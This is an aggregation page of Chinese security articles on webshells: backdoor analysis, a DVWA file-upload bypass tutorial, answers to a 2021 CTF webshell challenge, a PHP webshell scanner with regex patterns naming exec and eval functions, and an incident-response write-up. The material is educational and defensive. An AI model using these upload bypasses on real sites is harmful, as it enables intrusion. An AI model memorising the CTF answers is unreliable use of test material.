责任编辑:王星凯本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。关于我们绿盟科技研究通讯由绿盟科技创新中心负责运营,绿盟科技创新中心是绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。绿盟科技创新中心作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。长按上方二维码,即可关注我 本文始发于微信公众号(绿盟科技研究通讯):Webshell流量检测
阅读全文
webshell后门分析 安全文章

webshell后门分析

文章来源:web安全工具库一、访问上传的木马文件http://192.168.1.104/1.asp二、点击F12,打开谷歌自带的开发人员工具,点击network三、输入密码,看看抓包情况,该木马会自动向某网站上传木马路径和密码四、查看木马源文件,然后搜索该网址,随便修改为一个无效地址,该木马用的是反转加密,所以我们搜索不到,有时候是其他加密,需要解密才可以修改注意:抓包的时候,有的后门不是一登录就发送的,也有可能停一段时间才发送,甚至当你退出的时候才发送禁止非法,后果自负如侵权请私聊公众号删文推荐文章++++*Pystinger - 使用Webshell绕过防火墙进行流量转发*WEBshell与文件上传漏洞*一次服务器被传webshell事件溯源 本文始发于微信公众号(黑白之道):webshell后门分析
阅读全文
webshell大合集 安全文章

webshell大合集

转自系统安全运维师傅们周末愉快分享一波webshell大合集,希望师傅们在渗透之路一直拿shell。私聊公众号发送“webshell”获取下载链接。 本文始发于微信公众号(LemonSec):webshell大合集
阅读全文
WEBshell与文件上传漏洞 安全文章

WEBshell与文件上传漏洞

文章来源:疯猫网络这里用dvwa来最简单的讲解下,大佬轻喷~说在前面这里先来简单介绍下文件上传这个漏洞吧漏洞简述:文件上传漏洞通常由于代码中对文件上传功能所上传的文件过滤不严或web服务器相关解析漏洞未修复而造成的,如果文件上传功能代码没有严格限制和验证用户上传的文件后缀、类型等 攻击者可通过文件上传点上传任意文件 包括网站后门文件(webshell)控制整个网站。那这里先写个php的最简单的一句话木马吧然后开始正题一、无任何防护规则的文件上传漏洞利用去dvwa的File Upload里尝试上传呜呼,居然直接就上传成功了,还给出了上传路径,真贴心~然后这里用上我们的蚁剑来尝试连接一波。点击“测试连接”,返回连接成功是不是想说一句:"就这?",别急,我们慢慢往下看~二、前端JavaScript校验的文件上传漏洞利用紧接着带上我们的马儿来到File Upload1尝试上传可是点击Upload后居然弹出这个框框因为是弹框,所以这里就是前端JavaScript校验文件了。首先先修改马儿的后缀,修改成框框中的任意一个都行,以此来绕过前端JavaScript的校验。然后我们就打开burp,通过burp拦截包来修改jpg后缀为php最后便上传成功了这里用上蚁剑点击“测试连接”,返回连接成功三、检测文件MIME类型的文件上传传漏洞利用来到File Upload2这里用File Upload1的玩法也能上传成功这里为了和File Upload1做区分,这里换一种玩法将后缀名修改回来,为x.php,直接上传会有次报错那就用burp再来拦截,看到这里的Content-Type是“application/octet-stream”将其修改为“image/jpeg”或者“image/png”,而不修改后缀为jpg,后缀依然是php,结果依然上传成功我们这里就通过修改MIME类型欺骗服务器这个文件是jpeg类型或者png类型,因此绕过成功image/jpeg:image/png:这里用上蚁剑点击“测试连接”,返回连接成功四、服务端黑名单检测文件扩展名的文件上传漏洞利用这里最后来到File Upload3尝试直接上传马儿,报如下错尝试使用上面几种绕过方式也不可行查看源码,可知这里用了黑名单,而且用的foreach来迭代判断是否有命中但是这里我是在Windows系统搭建的服务器,所以我们可以用大写PHP后缀绕过或者大小写混合后缀绕过。如这里后缀为PhP也能成功可见这里已经上传成功,但是是大写的。但是因为这里的服务器是搭建在Windows系统上的,不区分大小写。如果是搭建在Linux上,就另当别论了。这里用上蚁剑点击“测试连接”,返回连接成功这里随意大小写都可以连接的上的,比如我这里用后缀为Php。因为这是Windows系统,所以也能证实上面的结论。最后成功进入靶机的文件管理  一如既往的学习,一如既往的整理,一如即往的分享。感谢支持“如侵权请私聊公众号删文”扫描关注LemonSec觉得不错点个“赞”、“在看”哦 本文始发于微信公众号(LemonSec):WEBshell与文件上传漏洞
阅读全文
2021陇剑杯网络安全大赛-webshell CTF专场

2021陇剑杯网络安全大赛-webshell

题目描述: 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 解题思路: 3.1黑客登录系统使用的密码是[email protected]#。 3.2黑客修改了一个日志文件,文件的绝对路径为_/var/www/html/data/Runtime/Logs/Home/21_08_07.log。(请确认绝对路径后再提交) 3.3黑客获取webshell之后,权限是_www-data__? 3.4黑客写入的webshell文件名是___1.php___。(请提交带有文件后缀的文件名,例如x.txt) 3.5黑客上传的代理工具客户端名字是___frpc__。(如有字母请全部使用小写) 3.6黑客代理工具的回连服务端IP是__192.168.239.123___。 3.7黑客的socks5的连接账号、密码是__0HDFt16cLQJ#JTN276Gp_。(中间使用#号隔开,例如admin#passwd) 相关推荐: 2021陇剑杯网络安全大赛-webshell题目描述: 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 解题思路: 3.1黑客登录系统使用的密码是[email protected]#。 3.2黑客修改了一个日志文件,文件的绝对路径为_/var/www/html/data/Runtime/Log…
阅读全文
2021陇剑杯网络安全大赛-webshell CTF专场

2021陇剑杯网络安全大赛-webshell

题目描述: 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 解题思路: 3.1黑客登录系统使用的密码是[email protected]#。 3.2黑客修改了一个日志文件,文件的绝对路径为_/var/www/html/data/Runtime/Logs/Home/21_08_07.log。(请确认绝对路径后再提交) 3.3黑客获取webshell之后,权限是_www-data__? 3.4黑客写入的webshell文件名是___1.php___。(请提交带有文件后缀的文件名,例如x.txt) 3.5黑客上传的代理工具客户端名字是___frpc__。(如有字母请全部使用小写) 3.6黑客代理工具的回连服务端IP是__192.168.239.123___。 3.7黑客的socks5的连接账号、密码是__0HDFt16cLQJ#JTN276Gp_。(中间使用#号隔开,例如admin#passwd) 相关推荐: CTF盘点系列——脑洞大开的编码&加解密玩过CTF的小伙伴会经常遇到类似这样的问题:dalao这是啥编码方式啊?怎么解密啊?其实CTF中的脑洞密码题,通常是费现代加密方式,一般都是各种古典密码的变形,一般出题者会对密文进行一些处理,但都会留下不少线索,当然也需要参赛者对于各种编码方式有所了解,这样更…
阅读全文
webshell扫描脚本 安全博客

webshell扫描脚本

tools论坛@imspider写了一款 完美扫描PHP特殊一句话后门 感觉挺漂亮的,博主加入了一些其它规则,目前仅支持php。 可扫描 weevelyshell 生成或加密的shell 及各种变异webshell 支持扫描callback一句话shell 支持各种php大马 由于是根据文件内容正则匹配所以不能保证误报漏报想要更强大的webshell扫描推荐用d盾 webshell扫描 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159<!DOCTYPE html><html><head> <meta charset='gb2312'> <title>PHP web shell scan</title></head><body></body><?php define("SELF",php_self()); error_reporting(E_ERROR);ini_set('max_execution_time',20000);ini_set('memory_limit','512M');header("content-Type: text/html; charset=gb2312");function weevelyshell($file){ $content=file_get_contents($file); if( ( preg_match('#($w{2,4}s?=s?str_replace("w+","","+");s?)+#s',$content)&& preg_match('#($w{2,4}s?=s?"+";s?)+#',$content)&& preg_match('#${2,4}s?=s${2,4}('',s?$w{2,4}($w{2,4}("w{1,4}",s?"",s?$w{2,4}.$w{2,4}.$w{2,4}.$w{2,4})));s+?$w{2,4}();#',$content)) || (preg_match('#$w+ds?=s?str_replace("+","","+");#s',$content)&& preg_match('#$w+s?=s?$+('',s?$+($w+($w+("+",s?"",s?$w+.$w+.$w+.$w+))));s?$w+();#s',$content)) ){ return true; }}function callbackshell($file){ $content=file_get_contents($file); if( preg_match('#$w+s?=s?$_(?:GET|POST|REQUEST|COOKIE|SERVER)#is',$content)&& preg_match('#$w+s?=s?(?:new)?s?arrayw*s?(.*?_(?:GET|POST|REQUEST|COOKIE|SERVER).*?)+#is',$content)&& preg_match('#(?:array_(?:reduce|map|udiff|walk|walk_recursive|filter)|usort)s?(.*?)+?#is',$content) ) return true;}function php_self(){ $php_self=substr($_SERVER,strrpos($_SERVER,'/')+1); return $php_self;}$matches = array( '/mb_ereg_replace(>+.*$_(?:GET|POST|REQUEST|COOKIE|SERVER)/is', '/create_functions?(.*assert(/is', '/ini_get('safe_mode')/i', '/get_current_user(.*?)/i', '/@?asserts?($.*?)/i', '/proc_opens?(.*?pipe',s?'w')/is', '/sTr_RepLaCes?(.*?)/is', '/ob_start(assert?\?$w+s?=s?.*?)/i', '/eval(.*?gzinflate(base64_decode(/i', '/copy($HTTP_POST_FILESs?/i', '/register_(?:shutdown|tick)_functions?($w+,s$_(?:GET|POST|REQUEST|COOKIE|SERVER))/is', '/register_(?:shutdown|tick)_functions?(?.*?)/i', '/call_user_func.*?((popen|exec|proc_open|system|passthru)+)/i', '/$_(w+)(.*)(eval|assert|include|require|include_once|require_once)+s*(s*$(w+)s*)/i', '/(s*$_FILESs*,s*$_(GET|POST|REQUEST|FILES)+s*)/i', '/(fopen|fwrite|fputs|file_put_contents)+s*((.*)$_(GET|POST|REQUEST|COOKIE|SERVER)+(.*))/i', '/echos*curl_execs*(s*$(w+)s*)/i', '/new coms*(s*
阅读全文
记编辑器漏洞引发的应急处理 安全漏洞

记编辑器漏洞引发的应急处理

作为一个网站管理员,你没发现的漏洞,你的对手却帮你找到了,并在你的网站里留下了Webshell。这个时候对抗就开始了,找出漏洞根源,捕获攻击者,赢下这场对抗,这个过程本身就挺有意思的。01、事件起因接到云安全中心安全预警,发现后门(Webshell)文件,申请服务器临时管理权限,登录服务器进行排查。02、事件分析(1)确认Webshell进入网站目录,找到木马文件路径,确认为Webshell。应急处理:通过禁止动态脚本在上传目录的运行权限,使webshell无法成功执行。(2)定位后门文件上传时间根据Webshell文件创建时间,2020年3月9日 15:08:34 。(3)Web访问日志分析PS:由于,IIS日志时间与系统时间相差8小时,系统时间是15:08,这里我们需要查看的是 7:08的日志时间。找到对应的Web访问日志,在文件创建时间间隔里,我们会注意到这样一个ueditor的访问请求,初步怀疑可能与UEditor编辑器漏洞有关。(4)漏洞复现以 UEditor编辑器 文件上传漏洞作为关键字进行搜索,很快我们就在网络上找到了poc。接下来,我们来尝试进行漏洞复现。A、本地构建一个htmlB、上传webshellC、登录服务器确认文件经漏洞复现,确认网站存在UEditor编辑器任意文件上传漏洞。(5)溯源分析通过日志分析,定位到了攻击者的IP地址,对这个IP相关文件的访问记录进行跟踪,可以还原攻击者行为。攻击者首先访问了网站首页,然后目录扫描找到UEditor编辑器路径,通过任意文件上传漏洞成功上传webshell。03、事件处理1、检查网站上传目录存在的可疑文件,清除Webshell。2、通过分析复现确认编辑器存在任意文件上传,需及时进行代码修复。 本文始发于微信公众号(Bypass):记编辑器漏洞引发的应急处理
阅读全文